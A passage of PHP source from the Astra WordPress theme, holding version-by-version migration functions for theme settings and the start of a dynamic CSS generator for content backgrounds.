if ( ! isset( $theme_options['update-default-color-typo'] ) ) {
$theme_options['update-default-color-typo'] = false;
update_option( 'astra-settings', $theme_options );
}
// Block editor experience improvements compatibility flag.
if ( ! isset( $theme_options['v4-block-editor-compat'] ) ) {
$theme_options['v4-block-editor-compat'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* 4.0.2 backward handling part.
*
* 1. Read Time option backwards handling for old users.
*
* @since 4.0.2
* @return void
*/
function astra_theme_background_updater_4_0_2() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-0-2-update-migration'] ) && isset( $theme_options['blog-single-meta'] ) && in_array( 'read-time', $theme_options['blog-single-meta'] ) ) {
if ( isset( $theme_options['ast-dynamic-single-post-metadata'] ) && ! in_array( 'read-time', $theme_options['ast-dynamic-single-post-metadata'] ) ) {
$theme_options['ast-dynamic-single-post-metadata'][] = 'read-time';
$theme_options['v4-0-2-update-migration'] = true;
update_option( 'astra-settings', $theme_options );
}
}
}
/**
* Handle backward compatibility on version 4.1.0
*
* @since 4.1.0
* @return void
*/
function astra_theme_background_updater_4_1_0() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-1-0-update-migration'] ) ) {
$theme_options['v4-1-0-update-migration'] = true;
$current_payment_list = array();
$old_payment_list = isset( $theme_options['single-product-payment-list']['items'] ) ? $theme_options['single-product-payment-list']['items'] : array();
$visa_payment = isset( $theme_options['single-product-payment-visa'] ) ? $theme_options['single-product-payment-visa'] : '';
$mastercard_payment = isset( $theme_options['single-product-payment-mastercard'] ) ? $theme_options['single-product-payment-mastercard'] : '';
$discover_payment = isset( $theme_options['single-product-payment-discover'] ) ? $theme_options['single-product-payment-discover'] : '';
$paypal_payment = isset( $theme_options['single-product-payment-paypal'] ) ? $theme_options['single-product-payment-paypal'] : '';
$apple_pay_payment = isset( $theme_options['single-product-payment-apple-pay'] ) ? $theme_options['single-product-payment-apple-pay'] : '';
false !== $visa_payment ? array_push(
$current_payment_list,
array(
'id' => 'item-100',
'enabled' => true,
'source' => 'icon',
'icon' => 'cc-visa',
'image' => '',
'label' => __( 'Visa', 'astra' ),
)
) : '';
false !== $mastercard_payment ? array_push(
$current_payment_list,
array(
'id' => 'item-101',
'enabled' => true,
'source' => 'icon',
'icon' => 'cc-mastercard',
'image' => '',
'label' => __( 'Mastercard', 'astra' ),
)
) : '';
false !== $mastercard_payment ? array_push(
$current_payment_list,
array(
'id' => 'item-102',
'enabled' => true,
'source' => 'icon',
'icon' => 'cc-amex',
'image' => '',
'label' => __( 'Amex', 'astra' ),
)
) : '';
false !== $discover_payment ? array_push(
$current_payment_list,
array(
'id' => 'item-103',
'enabled' => true,
'source' => 'icon',
'icon' => 'cc-discover',
'image' => '',
'label' => __( 'Discover', 'astra' ),
)
) : '';
$paypal_payment ? array_push(
$current_payment_list,
array(
'id' => 'item-104',
'enabled' => true,
'source' => 'icon',
'icon' => 'cc-paypal',
'image' => '',
'label' => __( 'Paypal', 'astra' ),
)
) : '';
$apple_pay_payment ? array_push(
$current_payment_list,
array(
'id' => 'item-105',
'enabled' => true,
'source' => 'icon',
'icon' => 'cc-apple-pay',
'image' => '',
'label' => __( 'Apple Pay', 'astra' ),
)
) : '';
if ( $current_payment_list ) {
$theme_options['single-product-payment-list'] =
array(
'items' =>
array_merge(
$current_payment_list,
$old_payment_list
),
);
update_option( 'astra-settings', $theme_options );
}
if ( ! isset( $theme_options['woo_support_global_settings'] ) ) {
$theme_options['woo_support_global_settings'] = true;
update_option( 'astra-settings', $theme_options );
}
if ( isset( $theme_options['theme-dynamic-customizer-support'] ) ) {
$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
foreach ( $post_types as $index => $post_type ) {
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-extras' ]['text-transform'] = '';
}
update_option( 'astra-settings', $theme_options );
}
}
}
/**
* 4.1.4 backward handling cases.
*
* 1. Migrating users to combined color overlay option to new dedicated overlay options.
*
* @since 4.1.4
* @return void
*/
function astra_theme_background_updater_4_1_4() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-1-4-update-migration'] ) ) {
$ast_bg_control_options = array(
'off-canvas-background',
'footer-adv-bg-obj',
'footer-bg-obj',
);
foreach ( $ast_bg_control_options as $key => $bg_option ) {
if ( isset( $theme_options[ $bg_option ] ) && ! isset( $theme_options[ $bg_option ]['overlay-type'] ) ) {
$bg_type = isset( $theme_options[ $bg_option ]['background-type'] ) ? $theme_options[ $bg_option ]['background-type'] : '';
$theme_options[ $bg_option ]['overlay-type'] = 'none';
$theme_options[ $bg_option ]['overlay-color'] = '';
$theme_options[ $bg_option ]['overlay-opacity'] = '';
$theme_options[ $bg_option ]['overlay-gradient'] = '';
if ( 'image' === $bg_type ) {
$bg_img = isset( $theme_options[ $bg_option ]['background-image'] ) ? $theme_options[ $bg_option ]['background-image'] : '';
$bg_color = isset( $theme_options[ $bg_option ]['background-color'] ) ? $theme_options[ $bg_option ]['background-color'] : '';
if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
$theme_options[ $bg_option ]['overlay-type'] = 'classic';
$theme_options[ $bg_option ]['overlay-color'] = $bg_color;
$theme_options[ $bg_option ]['overlay-opacity'] = '';
$theme_options[ $bg_option ]['overlay-gradient'] = '';
}
}
}
}
$ast_resp_bg_control_options = array(
'hba-footer-bg-obj-responsive',
'hbb-footer-bg-obj-responsive',
'footer-bg-obj-responsive',
'footer-menu-bg-obj-responsive',
'hb-footer-bg-obj-responsive',
'hba-header-bg-obj-responsive',
'hbb-header-bg-obj-responsive',
'hb-header-bg-obj-responsive',
'header-mobile-menu-bg-obj-responsive',
'site-layout-outside-bg-obj-responsive',
'content-bg-obj-responsive',
);
$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
foreach ( $post_types as $index => $post_type ) {
$ast_resp_bg_control_options[] = 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-custom-bg';
$ast_resp_bg_control_options[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-banner-background';
}
$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu;
for ( $index = 1; $index <= $component_limit; $index++ ) {
$_prefix = 'menu' . $index;
$ast_resp_bg_control_options[] = 'header-' . $_prefix . '-bg-obj-responsive';
}
foreach ( $ast_resp_bg_control_options as $key => $resp_bg_option ) {
// Desktop version.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
if ( isset( $theme_options[ $resp_bg_option ]['desktop'] ) && is_array( $theme_options[ $resp_bg_option ]['desktop'] ) && ! isset( $theme_options[ $resp_bg_option ]['desktop']['overlay-type'] ) ) {
// @codingStandardsIgnoreStart
$desk_bg_type = isset( $theme_options[ $resp_bg_option ]['desktop']['background-type'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-type'] : '';
// @codingStandardsIgnoreEnd
$theme_options[ $resp_bg_option ]['desktop']['overlay-type'] = '';
$theme_options[ $resp_bg_option ]['desktop']['overlay-color'] = '';
$theme_options[ $resp_bg_option ]['desktop']['overlay-opacity'] = '';
$theme_options[ $resp_bg_option ]['desktop']['overlay-gradient'] = '';
if ( 'image' === $desk_bg_type ) {
$bg_img = isset( $theme_options[ $resp_bg_option ]['desktop']['background-image'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-image'] : '';
$bg_color = isset( $theme_options[ $resp_bg_option ]['desktop']['background-color'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-color'] : '';
if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
$theme_options[ $resp_bg_option ]['desktop']['overlay-type'] = 'classic';
$theme_options[ $resp_bg_option ]['desktop']['overlay-color'] = $bg_color;
$theme_options[ $resp_bg_option ]['desktop']['overlay-opacity'] = '';
$theme_options[ $resp_bg_option ]['desktop']['overlay-gradient'] = '';
}
}
}
// Tablet version.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
if ( isset( $theme_options[ $resp_bg_option ]['tablet'] ) && is_array( $theme_options[ $resp_bg_option ]['tablet'] ) && ! isset( $theme_options[ $resp_bg_option ]['tablet']['overlay-type'] ) ) {
// @codingStandardsIgnoreStart
$tablet_bg_type = isset( $theme_options[ $resp_bg_option ]['tablet']['background-type'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-type'] : '';
// @codingStandardsIgnoreEnd
$theme_options[ $resp_bg_option ]['tablet']['overlay-type'] = '';
$theme_options[ $resp_bg_option ]['tablet']['overlay-color'] = '';
$theme_options[ $resp_bg_option ]['tablet']['overlay-opacity'] = '';
$theme_options[ $resp_bg_option ]['tablet']['overlay-gradient'] = '';
if ( 'image' === $tablet_bg_type ) {
$bg_img = isset( $theme_options[ $resp_bg_option ]['tablet']['background-image'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-image'] : '';
$bg_color = isset( $theme_options[ $resp_bg_option ]['tablet']['background-color'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-color'] : '';
if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
$theme_options[ $resp_bg_option ]['tablet']['overlay-type'] = 'classic';
$theme_options[ $resp_bg_option ]['tablet']['overlay-color'] = $bg_color;
$theme_options[ $resp_bg_option ]['tablet']['overlay-opacity'] = '';
$theme_options[ $resp_bg_option ]['tablet']['overlay-gradient'] = '';
}
}
}
// Mobile version.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
if ( isset( $theme_options[ $resp_bg_option ]['mobile'] ) && is_array( $theme_options[ $resp_bg_option ]['mobile'] ) && ! isset( $theme_options[ $resp_bg_option ]['mobile']['overlay-type'] ) ) {
// @codingStandardsIgnoreStart
$mobile_bg_type = isset( $theme_options[ $resp_bg_option ]['mobile']['background-type'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-type'] : '';
// @codingStandardsIgnoreEnd
$theme_options[ $resp_bg_option ]['mobile']['overlay-type'] = '';
$theme_options[ $resp_bg_option ]['mobile']['overlay-color'] = '';
$theme_options[ $resp_bg_option ]['mobile']['overlay-opacity'] = '';
$theme_options[ $resp_bg_option ]['mobile']['overlay-gradient'] = '';
if ( 'image' === $mobile_bg_type ) {
$bg_img = isset( $theme_options[ $resp_bg_option ]['mobile']['background-image'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-image'] : '';
$bg_color = isset( $theme_options[ $resp_bg_option ]['mobile']['background-color'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-color'] : '';
if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
$theme_options[ $resp_bg_option ]['mobile']['overlay-type'] = 'classic';
$theme_options[ $resp_bg_option ]['mobile']['overlay-color'] = $bg_color;
$theme_options[ $resp_bg_option ]['mobile']['overlay-opacity'] = '';
$theme_options[ $resp_bg_option ]['mobile']['overlay-gradient'] = '';
}
}
}
}
$theme_options['v4-1-4-update-migration'] = true;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility on version 4.1.6
*
* @since 4.1.6
* @return void
*/
function astra_theme_background_updater_4_1_6() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['list-block-vertical-spacing'] ) ) {
$theme_options['list-block-vertical-spacing'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Set flag to avoid direct reflections on live site & to maintain backward compatibility for existing users.
*
* @since 4.1.7
* @return void
*/
function astra_theme_background_updater_4_1_7() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['add-hr-styling-css'] ) ) {
$theme_options['add-hr-styling-css'] = false;
update_option( 'astra-settings', $theme_options );
}
if ( ! isset( $theme_options['astra-site-svg-logo-equal-height'] ) ) {
$theme_options['astra-site-svg-logo-equal-height'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Migrating users to new container layout options
*
* @since 4.2.0
* @return void
*/
function astra_theme_background_updater_4_2_0() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-2-0-update-migration'] ) ) {
$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
$theme_options = get_option( 'astra-settings' );
$blog_types = array( 'single', 'archive' );
$third_party_layouts = array( 'woocommerce', 'edd', 'lifterlms', 'lifterlms-course-lesson', 'learndash' );
// Global.
if ( isset( $theme_options['site-content-layout'] ) ) {
$theme_options = astra_apply_layout_migration( 'site-content-layout', 'ast-site-content-layout', 'site-content-style', 'site-sidebar-style', $theme_options );
}
// Single, archive.
foreach ( $blog_types as $index => $blog_type ) {
foreach ( $post_types as $index => $post_type ) {
$old_layout = $blog_type . '-' . esc_attr( $post_type ) . '-content-layout';
$new_layout = $blog_type . '-' . esc_attr( $post_type ) . '-ast-content-layout';
$content_style = $blog_type . '-' . esc_attr( $post_type ) . '-content-style';
$sidebar_style = $blog_type . '-' . esc_attr( $post_type ) . '-sidebar-style';
if ( isset( $theme_options[ $old_layout ] ) ) {
$theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options );
}
}
}
// Third party existing layout migrations to new layout options.
foreach ( $third_party_layouts as $index => $layout ) {
$old_layout = $layout . '-content-layout';
$new_layout = $layout . '-ast-content-layout';
$content_style = $layout . '-content-style';
$sidebar_style = $layout . '-sidebar-style';
if ( isset( $theme_options[ $old_layout ] ) ) {
if ( 'lifterlms' === $layout ) {
// Lifterlms course/lesson sidebar style migration case.
$theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, 'lifterlms-course-lesson-sidebar-style', $theme_options );
}
$theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options );
}
}
if ( ! isset( $theme_options['fullwidth_sidebar_support'] ) ) {
$theme_options['fullwidth_sidebar_support'] = false;
}
$theme_options['v4-2-0-update-migration'] = true;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle migration from old to new layouts.
*
* Migration cases for old users, old layouts -> new layouts.
*
* @since 4.2.0
* @param mixed $old_layout old_layout.
* @param mixed $new_layout new_layout.
* @param mixed $content_style content_style.
* @param mixed $sidebar_style sidebar_style.
* @param array $theme_options theme_options.
* @return array $theme_options The updated theme options.
*/
function astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options ) {
switch ( astra_get_option( $old_layout ) ) {
case 'boxed-container':
$theme_options[ $new_layout ] = 'normal-width-container';
$theme_options[ $content_style ] = 'boxed';
$theme_options[ $sidebar_style ] = 'boxed';
break;
case 'content-boxed-container':
$theme_options[ $new_layout ] = 'normal-width-container';
$theme_options[ $content_style ] = 'boxed';
$theme_options[ $sidebar_style ] = 'unboxed';
break;
case 'plain-container':
$theme_options[ $new_layout ] = 'normal-width-container';
$theme_options[ $content_style ] = 'unboxed';
$theme_options[ $sidebar_style ] = 'unboxed';
break;
case 'page-builder':
$theme_options[ $new_layout ] = 'full-width-container';
$theme_options[ $content_style ] = 'unboxed';
$theme_options[ $sidebar_style ] = 'unboxed';
break;
case 'narrow-container':
$theme_options[ $new_layout ] = 'narrow-width-container';
$theme_options[ $content_style ] = 'unboxed';
$theme_options[ $sidebar_style ] = 'unboxed';
break;
default:
$theme_options[ $new_layout ] = 'default';
$theme_options[ $content_style ] = 'default';
$theme_options[ $sidebar_style ] = 'default';
break;
}
return $theme_options;
}
/**
* Handle backward compatibility on version 4.2.2
*
* @since 4.2.2
* @return void
*/
function astra_theme_background_updater_4_2_2() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-2-2-core-form-btns-styling'] ) ) {
$theme_options['v4-2-2-core-form-btns-styling'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility on version 4.6.0
*
* @since 4.4.0
* @return void
*/
function astra_theme_background_updater_4_4_0() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-4-0-backward-option'] ) ) {
$theme_options['v4-4-0-backward-option'] = false;
// Migrate primary button outline styles to secondary buttons.
if ( isset( $theme_options['font-family-button'] ) ) {
$theme_options['secondary-font-family-button'] = $theme_options['font-family-button'];
}
if ( isset( $theme_options['font-size-button'] ) ) {
$theme_options['secondary-font-size-button'] = $theme_options['font-size-button'];
}
if ( isset( $theme_options['font-weight-button'] ) ) {
$theme_options['secondary-font-weight-button'] = $theme_options['font-weight-button'];
}
if ( isset( $theme_options['font-extras-button'] ) ) {
$theme_options['secondary-font-extras-button'] = $theme_options['font-extras-button'];
}
if ( isset( $theme_options['button-bg-color'] ) ) {
$theme_options['secondary-button-bg-color'] = $theme_options['button-bg-color'];
}
if ( isset( $theme_options['button-bg-h-color'] ) ) {
$theme_options['secondary-button-bg-h-color'] = $theme_options['button-bg-h-color'];
}
if ( isset( $theme_options['theme-button-border-group-border-color'] ) ) {
$theme_options['secondary-theme-button-border-group-border-color'] = $theme_options['theme-button-border-group-border-color'];
}
if ( isset( $theme_options['theme-button-border-group-border-h-color'] ) ) {
$theme_options['secondary-theme-button-border-group-border-h-color'] = $theme_options['theme-button-border-group-border-h-color'];
}
if ( isset( $theme_options['button-radius-fields'] ) ) {
$theme_options['secondary-button-radius-fields'] = $theme_options['button-radius-fields'];
}
// Single - Article Featured Image visibility migration.
$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
foreach ( $post_types as $index => $post_type ) {
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-position-layout-1' ] = 'none';
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-position-layout-2' ] = 'none';
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-ratio-type' ] = 'default';
}
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility on version 4.5.0.
*
* @since 4.5.0
* @return void
*/
function astra_theme_background_updater_4_5_0() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-5-0-backward-option'] ) ) {
$theme_options['v4-5-0-backward-option'] = false;
$palette_options = get_option( 'astra-color-palettes', Astra_Global_Palette::get_default_color_palette() );
if ( ! isset( $palette_options['presets'] ) ) {
$palette_options['presets'] = astra_get_palette_presets();
update_option( 'astra-color-palettes', $palette_options );
}
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility on version 4.5.2.
*
* @since 4.5.2
* @return void
*/
function astra_theme_background_updater_4_5_2() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['scndry-btn-default-padding'] ) ) {
$theme_options['scndry-btn-default-padding'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility on version 4.6.0
*
* @since 4.6.0
* @return void
*/
function astra_theme_background_updater_4_6_0() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['v4-6-0-backward-option'] ) ) {
$theme_options['v4-6-0-backward-option'] = false;
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$blog_post_structure = isset( $theme_options['blog-post-structure'] ) ? $theme_options['blog-post-structure'] : array( 'image', 'title-meta' );
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$migrated_post_structure = array();
if ( ! empty( $blog_post_structure ) ) {
/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
foreach ( $blog_post_structure as $key ) {
/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
if ( 'title-meta' === $key ) {
$migrated_post_structure[] = 'title';
$migrated_post_structure[] = 'title-meta';
}
if ( 'image' === $key ) {
$migrated_post_structure[] = 'image';
}
}
$migrated_post_structure[] = 'excerpt';
$migrated_post_structure[] = 'read-more';
$theme_options['blog-post-structure'] = $migrated_post_structure;
}
if ( defined( 'ASTRA_EXT_VER' ) ) {
$theme_options['ast-sub-section-author-box-border-width'] = isset( $theme_options['author-box-border-width'] ) ? $theme_options['author-box-border-width'] : array(
'top' => '',
'right' => '',
'bottom' => '',
'left' => '',
);
$theme_options['ast-sub-section-author-box-border-radius'] = isset( $theme_options['author-box-border-radius'] ) ? $theme_options['author-box-border-radius'] : array(
'top' => '',
'right' => '',
'bottom' => '',
'left' => '',
);
$theme_options['ast-sub-section-author-box-border-color'] = isset( $theme_options['author-box-border-color'] ) ? $theme_options['author-box-border-color'] : '';
if ( isset( $theme_options['single-post-inside-spacing'] ) ) {
$theme_options['ast-sub-section-author-box-padding'] = $theme_options['single-post-inside-spacing'];
}
if ( isset( $theme_options['font-family-post-meta'] ) ) {
$theme_options['font-family-post-read-more'] = $theme_options['font-family-post-meta'];
}
if ( isset( $theme_options['font-extras-post-meta'] ) ) {
$theme_options['font-extras-post-read-more'] = $theme_options['font-extras-post-meta'];
}
}
if ( isset( $theme_options['single-post-inside-spacing'] ) ) {
$theme_options['ast-sub-section-related-posts-padding'] = $theme_options['single-post-inside-spacing'];
}
$theme_options['single-content-images-shadow'] = false;
$theme_options['ast-font-style-update'] = false;
update_option( 'astra-settings', $theme_options );
}
$docs_legacy_data = get_option( 'astra_docs_data', array() );
if ( ! empty( $docs_legacy_data ) ) {
delete_option( 'astra_docs_data' );
}
}
/**
* Handle backward compatibility on version 4.6.2.
*
* @since 4.6.2
* @return void
*/
function astra_theme_background_updater_4_6_2() {
$theme_options = get_option( 'astra-settings', array() );
// Unset "featured image" for pages structure.
if ( ! isset( $theme_options['v4-6-2-backward-option'] ) ) {
$theme_options['v4-6-2-backward-option'] = false;
$page_banner_layout = isset( $theme_options['ast-dynamic-single-page-layout'] ) ? $theme_options['ast-dynamic-single-page-layout'] : 'layout-1';
$page_structure = isset( $theme_options['ast-dynamic-single-page-structure'] ) ? $theme_options['ast-dynamic-single-page-structure'] : array( 'ast-dynamic-single-page-image', 'ast-dynamic-single-page-title' );
$layout_1_image_position = isset( $theme_options['ast-dynamic-single-page-article-featured-image-position-layout-1'] ) ? $theme_options['ast-dynamic-single-page-article-featured-image-position-layout-1'] : 'behind';
$migrated_page_structure = array();
if ( 'layout-1' === $page_banner_layout && 'none' === $layout_1_image_position && ! empty( $page_structure ) ) {
foreach ( $page_structure as $key ) {
if ( 'ast-dynamic-single-page-image' !== $key ) {
$migrated_page_structure[] = $key;
}
}
$theme_options['ast-dynamic-single-page-structure'] = $migrated_page_structure;
}
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility on version 4.6.4.
*
* @since 4.6.4
* @return void
*/
function astra_theme_background_updater_4_6_4() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['btn-stylings-upgrade'] ) ) {
$theme_options['btn-stylings-upgrade'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility for Elementor Pro heading's margin.
*
* @since 4.6.5
* @return void
*/
function astra_theme_background_updater_4_6_5() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['elementor-headings-style'] ) ) {
$theme_options['elementor-headings-style'] = defined( 'ELEMENTOR_PRO_VERSION' ) ? true : false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility for Elementor Loop block post div container padding.
*
* @since 4.6.6
* @return void
*/
function astra_theme_background_updater_4_6_6() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['elementor-container-padding-style'] ) ) {
$theme_options['elementor-container-padding-style'] = defined( 'ELEMENTOR_PRO_VERSION' ) ? true : false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility for Starter template library preview line height cases.
*
* @since 4.6.11
* @return void
*/
function astra_theme_background_updater_4_6_11() {
$theme_options = get_option( 'astra-settings', array() );
if ( isset( $theme_options['global-headings-line-height-update'] ) ) {
return;
}
$headers_fonts = array(
'h1' => '1.4',
'h2' => '1.3',
'h3' => '1.3',
'h4' => '1.2',
'h5' => '1.2',
'h6' => '1.25',
);
foreach ( $headers_fonts as $header_tag => $header_font_value ) {
if ( empty( $theme_options[ 'font-extras-' . $header_tag ]['line-height'] ) ) {
$theme_options[ 'font-extras-' . $header_tag ]['line-height'] = $header_font_value;
if ( empty( $theme_options[ 'font-extras-' . $header_tag ]['line-height-unit'] ) ) {
$theme_options[ 'font-extras-' . $header_tag ]['line-height-unit'] = 'em';
}
}
}
$theme_options['global-headings-line-height-update'] = true;
update_option( 'astra-settings', $theme_options );
}
/**
* Handle backward compatibility for heading `clear:both` css in single posts and pages.
*
* @since 4.6.12
* @return void
*/
function astra_theme_background_updater_4_6_12() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['single_posts_pages_heading_clear_none'] ) ) {
$theme_options['single_posts_pages_heading_clear_none'] = false;
update_option( 'astra-settings', $theme_options );
}
if ( ! isset( $theme_options['elementor-btn-styling'] ) ) {
$theme_options['elementor-btn-styling'] = defined( 'ELEMENTOR_VERSION' ) ? true : false;
update_option( 'astra-settings', $theme_options );
}
if ( ! isset( $theme_options['remove_single_posts_navigation_mobile_device_padding'] ) ) {
$theme_options['remove_single_posts_navigation_mobile_device_padding'] = true;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility for following pointers.
*
* 1. unit less line-height support.
* 2. H5 font size case.
*
* @since 4.6.14
* @return void
*/
function astra_theme_background_updater_4_6_14() {
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['enable-4-6-14-compatibility'] ) ) {
$theme_options['enable-4-6-14-compatibility'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility for following cases.
*
* 1. Making edd default option enable by default.
* 2. Handle backward compatibility for Heading font size fix.
*
* @since 4.7.0
* @return void
*/
function astra_theme_background_updater_4_7_0() {
$theme_options = get_option( 'astra-settings', array() );
if ( class_exists( 'Easy_Digital_Downloads' ) && ! isset( $theme_options['can-update-edd-featured-image-default'] ) ) {
$theme_options['can-update-edd-featured-image-default'] = false;
update_option( 'astra-settings', $theme_options );
}
if ( ! isset( $theme_options['heading-widget-font-size'] ) ) {
$theme_options['heading-widget-font-size'] = false;
update_option( 'astra-settings', $theme_options );
}
}
/**
* Handle backward compatibility for version 4.7.1
*
* @since 4.7.1
* @return void
*/
function astra_theme_background_updater_4_7_1() {
$theme_options = get_option( 'astra-settings', array() );
// Setting same background color for above and below transparent headers as on transparent primary header.
if ( isset( $theme_options['transparent-header-bg-color-responsive'] ) ) {
if ( ! isset( $theme_options['hba-transparent-header-bg-color-responsive'] ) ) {
$theme_options['hba-transparent-header-bg-color-responsive'] = $theme_options['transparent-header-bg-color-responsive'];
}
if ( ! isset( $theme_options['hbb-transparent-header-bg-color-responsive'] ) ) {
$theme_options['hbb-transparent-header-bg-color-responsive'] = $theme_options['transparent-header-bg-color-responsive'];
}
update_option( 'astra-settings', $theme_options );
}
}/**
* Content Background - Dynamic CSS
*
* @package astra
* @since 3.7.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
add_filter( 'astra_dynamic_theme_css', 'astra_content_background_css', 11 );
/**
* Content Background - Dynamic CSS
*
* @param string $dynamic_css Astra Dynamic CSS.
* @return String Generated dynamic CSS for content background.
*
* @since 3.2.0
*/
function astra_content_background_css( $dynamic_css ) {
if ( ! astra_has_gcp_typo_preset_compatibility() ) {
return $dynamic_css;
}
$content_bg_obj = astra_get_option( 'content-bg-obj-responsive' );
// Override content background with meta value if set.
$meta_background_enabled = astra_get_option_meta( 'ast-page-background-enabled' );
// Check for third party pages meta.
if ( '' === $meta_background_enabled && astra_with_third_party() ) {
$meta_background_enabled = astra_third_party_archive_meta( 'ast-page-background-enabled' );
if ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) {
$content_bg_obj = astra_third_party_archive_meta( 'ast-content-background-meta' );
}
} elseif ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) {
$content_bg_obj = astra_get_option_meta( 'ast-content-background-meta' );
}
$blog_layout = astra_get_blog_layout();
$blog_grid = astra_get_option( 'blog-grid' );
$sidebar_default_css = $content_bg_obj;
$is_boxed = astra_is_content_style_boxed();
$is_sidebar_boxed = astra_is_sidebar_style_boxed();
$current_layout = astra_get_content_layout();
$narrow_dynamic_selector = 'narrow-width-container' === $current_layout && $is_boxed ? ', .ast-narrow-container .site-content' : '';
$comments_wrapper_bg_selector = Astra_Dynamic_CSS::astra_4_6_0_compatibility() ? ', .ast-separate-container .comments-area' : ', .ast-separate-container .comments-area .comment-respond, .ast-separate-container .comments-area .ast-comment-list li, .ast-separate-container .comments-area .comments-title';
$author_box_extra_selector = ( true === astra_check_is_structural_setup() ) ? '.site-main' : '';
// Apply unboxed container with sidebar boxed look by changing background color to site background color.
$content_bg_obj = astra_apply_unboxed_container( $content_bg_obj, $is_boxed, $is_sidebar_boxed, $current_layout );
// Container Layout Colors.
$container_css = array(
